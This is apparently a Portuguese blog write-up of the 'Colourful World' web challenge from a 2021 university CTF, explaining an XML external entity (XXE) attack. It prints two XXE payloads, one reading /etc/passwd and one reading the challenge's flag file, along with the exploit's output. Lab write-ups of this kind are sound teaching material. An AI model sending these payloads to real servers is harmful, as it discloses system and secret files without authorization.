Great Lakes Security Conference CTF — Hackeando Apps NodeJS — Parte 1

Neptunian
3 min readApr 19, 2021

--

GLSC CTF (Great Lakes Security Conference)

Este CTF (capture the flag) foi organizado pelos times de InfoSec da Universidade de Michigan e ocorreu nos dias 16 a 18/04/21. Esta série explora as técnicas para resolver os 5 desafios do CTF deste evento.

O nível de dificuldade foi baixo, mas acabou sendo bastante divertido e ajudou a tirar um pouco da minha ferrugem (um longo tempo afastado dos CTFs).

set hacker mode on

O site continua disponível, caso você queira testar os conhecimentos. (Algumas URLs visíveis aqui, mas apenas em prints).

Desafios Web do GLSC CTF

Todos os Desafios

Desafio: Colourful World

Tela inicial do Colourful World

Após submeter o nome e cor favorita, ele mostra a mensagem abaixo:

Hi Neptunian!My favorite color is also Blue.

O texto é processado no servidor via POST, o que é o provável input com falha a ser explorada. Na página inicial, um comentário de HTML dá a primeira dica:

<!-- The above form will POST a request with a Content-Type value of: application/x-www-form-urlencoded  The developer writing the backend over-engineered it to also accept other Content-Type values:  application/json text/xml  The flag is at /ctf/app/flag.txt -->

Se tentarmos acessar diretamente, ele retorna o erro:

Cannot GET /ctf/app/flag.txt

A parte chave da dica está no trecho em itálico do mesmo comentário acima. O desenvolvedor permitiu a entrada também nos formatos JSON e XML. Com a entrada em XML, é possível testar a vulnerabilidade XXE — XML eXternal Entity Processing.

Com essa vulnerabilidade, você declara um novo elemento e entidade, onde é possível referenciar um arquivo no servidor (entre outras possibilidades). No exemplo abaixo, o &xxe; é substituído pelo conteúdo do arquivo /etc/passwd em aplicações vulneráveis.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

O teste é executar o POST em na própria raiz, referenciando o arquivo com a flag. Abaixo o payload para exploração da falha:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT color ANY >
<!ENTITY xxe SYSTEM "file:///ctf/app/flag.txt" >
]>
<body>
<name>Neptunian</name>
<color>&xxe;</color>
</body>

Com o payload pronto, o teste foi realizado com o seguinte código NodeJS/JavaScript:

Exploit para o desafio

E o resultado foi flag!

$ node hack_data.js 
<html>
<body>
<p>Hi Neptunian!</p>
<p>My favorite color is also GLSC{m4y83_1_5h0u1dv3_57uck_w17h_j50n}.</p>
</body>
</html>

Parte 2

O próximo desafio da série é o Express Puzzle, que explora uma aplicação NodeJS que utiliza o framework Express.js.

Referências

--

--